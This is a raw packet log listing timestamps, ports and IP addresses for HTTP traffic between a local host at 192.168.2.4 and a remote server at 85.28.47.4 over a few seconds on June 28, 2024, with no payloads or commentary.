Jun 28, 2024 22:31:58.921324968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.921350002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.921371937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922122955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922133923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922144890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922154903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922157049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922164917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922172070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922177076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922187090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922192097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922198057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.922208071 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922219038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.922245026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923005104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923017025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923027992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923038960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923048973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923049927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923062086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923072100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923073053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923084021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923091888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923110008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923127890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923903942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923916101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923926115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923935890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923942089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923948050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923959017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923962116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.923969984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923979998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.923996925 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.924015999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.924015999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.924561977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.924572945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.924582958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.924599886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.924604893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.924617052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.924643993 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.980601072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.980663061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.980739117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.980750084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.980787992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.980798006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.982705116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.982769012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.982795954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.982836008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.982897997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.982908010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.982969999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.983092070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.983139038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.990102053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990151882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.990225077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990235090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990298033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990309000 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990387917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.990483046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990493059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990503073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990535021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.990551949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.990906954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.990955114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.991031885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991041899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991080046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.991209030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991219997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991230011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991240978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.991256952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.991281033 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002051115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002106905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002136946 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002146959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002187014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002226114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002265930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002293110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002305031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002315998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002340078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002372026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002718925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002734900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002775908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002789021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002799988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.002836943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.002995968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003009081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003021002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003031969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003042936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.003058910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.003088951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.003561020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003571033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.003612041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.013542891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013587952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.013609886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013667107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013684034 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.013706923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.013767958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013778925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013788939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.013808966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.013824940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.014123917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014134884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014144897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014154911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014170885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.014199972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.014666080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014677048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014687061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014698029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014705896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.014714003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.014734983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.014759064 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015064001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015074015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015084028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015094042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015105009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015110970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015115976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015125990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015140057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015161037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015804052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015814066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015825033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015835047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015845060 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015847921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015860081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015871048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.015875101 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.015902996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.016541004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016551018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016565084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016576052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016586065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016590118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.016597033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016607046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.016608953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016618013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.016628027 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.016655922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.017530918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017541885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017556906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017568111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017576933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.017577887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017589092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017599106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017601967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.017610073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017620087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017631054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.017642975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.017663956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.018523932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018534899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018543959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018553972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018563986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018573046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.018573999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018584967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018591881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.018595934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018605947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.018610954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.018856049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.018856049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.019654036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019665003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019675016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019685030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019695044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019704103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.019706011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019716024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019726992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019730091 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.019737005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.019751072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.019762039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.019788980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.020418882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.020432949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.020442963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.020452976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.020464897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.020493031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.020503044 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.272039890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.272097111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:59.277050972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.277075052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.277122021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.277129889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.277139902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.992396116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:59.992515087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:00.400805950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:00.400831938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:00.405641079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:00.405654907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:00.405702114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:01.229931116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:01.230077982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:01.242568016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:01.247386932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:01.970580101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:01.970685005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:02.293709040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:02.298629999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.023665905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.023845911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.230045080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.235033989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716628075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716671944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716682911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716712952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.716749907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.716828108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716875076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.716938019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.716981888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717010021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717020988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717031002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717041969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717050076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717072010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717118025 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717511892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717520952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717533112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717541933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717557907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717596054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717886925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717897892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717902899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717912912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717922926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717932940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717941046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717943907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717952013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.717956066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717964888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717976093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.717997074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.718023062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.718795061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718806028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718816042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718826056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718837023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718837023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.718847036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718857050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718867064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718877077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.718878031 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.718919992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.719728947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719739914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719748020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719758034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719768047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719778061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.719779015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719788074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719799042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719801903 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.719809055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719818115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719826937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.719826937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.719854116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.719876051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.720659971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720670938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720680952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720690966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720700026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720707893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.720710039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720719099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720727921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720737934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720746994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.720747948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.720799923 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.721570015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721580982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721590042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721600056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721610069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721613884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.721621037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721630096 CEST	80	49731	85.28.47.4	192.168.2.4
